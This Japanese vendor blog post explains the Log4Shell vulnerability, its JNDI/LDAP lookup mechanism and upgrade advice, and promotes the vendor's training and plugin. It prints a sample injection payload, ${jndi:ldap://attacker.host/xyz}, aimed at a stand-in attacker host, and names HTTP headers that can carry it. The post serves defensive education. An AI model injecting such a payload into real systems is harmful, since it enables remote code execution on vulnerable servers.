Log4jの脆弱性を解説 - 攻撃ベクトルとその防止策

12月9日、Javaライブラリ「Log4j」におけるゼロデイ脆弱性が公開されました。CVE-44228、通称Log4Shellは、リモートコード実行(RCE)を引き起こす可能性があるため、「緊急(high severity)」と評価されました。さらに、log4j-coreは最も広く利用されているJavaロギングライブラリの一つであり、数百万ものアプリケーションが危険にさらされることとなりました。
Log4Shellへの対策スキルを素早く向上させたいですか?
Log4Shellの基本概念から、シミュレーター「ミッション」を通じた攻撃体験までを網羅したショーケースをご用意しました。このミッションでは、Log4jの脆弱性がインフラやアプリケーションにどのような影響を与えるかを順を追って解説します。こちらをクリックしてショーケースへ進むか、引き続き記事を読んで脆弱性の詳細をご確認ください。
今さら聞けない?
この脆弱性は新しいものではありません。2016年のBlackHatカンファレンスにおいて、セキュリティ研究者のAlvaro Muñoz氏とOleksandr Mirosh氏は、「アプリケーションは信頼できないデータを使ってJNDIルックアップを実行すべきではない」と強調し、標的を絞ったJNDI/LDAPインジェクションがリモートコード実行につながる可能性を実証していました。これこそが、Log4Shellの核心部分です。
攻撃ベクトル
Log4Shellのインジェクションペイロードは以下のようになります:
${jndi:ldap://attacker.host/xyz}
これを理解するには、Javaの式言語(EL)について知る必要があります。以下の構文で記述された式は、${expr}実行時に評価されます。例えば、${java:version}は使用中のJavaバージョンを返します。
次に、JNDI(Java Naming and Directory Interface)は、LDAP、DNS、RMIなどのプロトコルを使用してサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意あるペイロードの例では、JNDIが攻撃者の制御下にあるLDAPサーバーに対してルックアップを実行します。その応答として、悪意のあるコードを含むJavaクラスファイルが指定され、脆弱なサーバー上で実行されてしまうのです。
この脆弱性が極めて深刻なのは、Log4jがすべてのログエントリを評価し、「jndi」で始まるEL構文で記述されたユーザー入力をすべてルックアップしてしまうためです。ペイロードは、フォームフィールドなど、ユーザーがデータを入力できるあらゆる場所に注入可能です。また、User-AgentやX-Forwarded-ForといったHTTPヘッダーも、ペイロードを運ぶようにカスタマイズされる可能性があります。
実際に攻撃を体験するには、当社のショーケースにアクセスし、ステップ2「Experience impact(影響を体験する)」に進んでください。
予防:意識の向上
Log4jでは脆弱なコードの修正が進められているため、すべてのアプリケーションでアップグレードを行うことが推奨されます。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃などの脆弱性が含まれていたため、12月下旬の時点では2.17.0へのアップグレードが推奨されています。
コードを書く開発者として、私たちは常にセキュリティを考慮する必要があります。Log4Shellは、サードパーティのフレームワークやライブラリを使用することに伴うリスクを私たちに教えました。私たちは、安全だと安易に思い込んでいる外部ソースによって、アプリケーションのセキュリティが侵害される可能性があるという事実を認識しなければなりません。
この脆弱性は防げたのでしょうか?答えはイエスでもあり、ノーでもあります。一方で、脆弱なコンポーネントはサードパーティ製ソフトウェアを通じて持ち込まれるため、開発者ができることには限界があります。もう一方で、ここから得られる教訓は、これまで何度も繰り返されてきた「ユーザー入力を決して信頼してはならない」という原則に他なりません。
Secure Code Warriorは、セキュリティ意識の高い開発者こそがコードの脆弱性を未然に防ぐ最善の道であると考えています。SCWはプログラミングフレームワークに特化したトレーニングを大規模に提供しているため、エンタープライズ企業のお客様はレポートデータを活用して、影響を受けるJava開発者を迅速に特定することができました。また、SCWでトレーニングを受けたセキュリティチャンピオンの協力を得て、Log4jのアップグレードを加速させました。
特にJava開発者向けに、Secure Code Warriorは無料のIntelliJプラグイン「Sensei」を提供しています。このルールベースのコード解析ツールを使用すれば、コーディングガイドラインの徹底や、脆弱性の防止および修正が可能です。独自のルールを作成することも、用意されたクックブックを利用することもできます。レシピを閲覧し、ぜひLog4jクックブックをダウンロードしてください。Log4Shell脆弱性の特定と修正に役立ちます。
Log4Shellへの防御スキルを向上させましょう
このブログ記事で学んだことを実践してみませんか?当社のショーケースがお役に立ちます。ショーケースの冒頭でこの脆弱性について簡単に復習した後、ガイド付きのシミュレーション環境で実際にエクスプロイトを試すことができます。
AI主導の開発をリリース前にガバナンスする
AIを活用したリスク測定、コミット時のセキュアコーディングポリシーの強制、そしてSDLC全体を通じたセキュアなデリバリーの加速を実現します。
他のブログ記事を見る
セキュアコーディング、AIガバナンス、ソフトウェアリスク管理に関する専門的なコンテンツをご覧ください。
%252520%252520(3).avif)
Supercharged Security Awareness: How Tournaments are Inspiring Developers at Erste Group
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse varius enim in eros elementum tristique. Duis cursus, mi quis viverra ornare, eros dolor interdum nulla, ut commodo diam libero vitae erat. Aenean faucibus nibh et justo cursus id rutrum lorem imperdiet. Nunc ut sem vitae risus tristique posuere.

Security as culture: How Blue Prism cultivates world-class secure developers
Learn how Blue Prism, the global leader in intelligent automation for the enterprise, used Secure Code Warrior's agile learning platform to create a security-first culture with their developers, achieve their business goals, and ship secure code at speed
AIを活用した開発をリリース前にセキュアに
開発者のリスクを可視化し、ポリシーを適用することで、ソフトウェア開発ライフサイクル全体における脆弱性を未然に防ぎます。



.avif)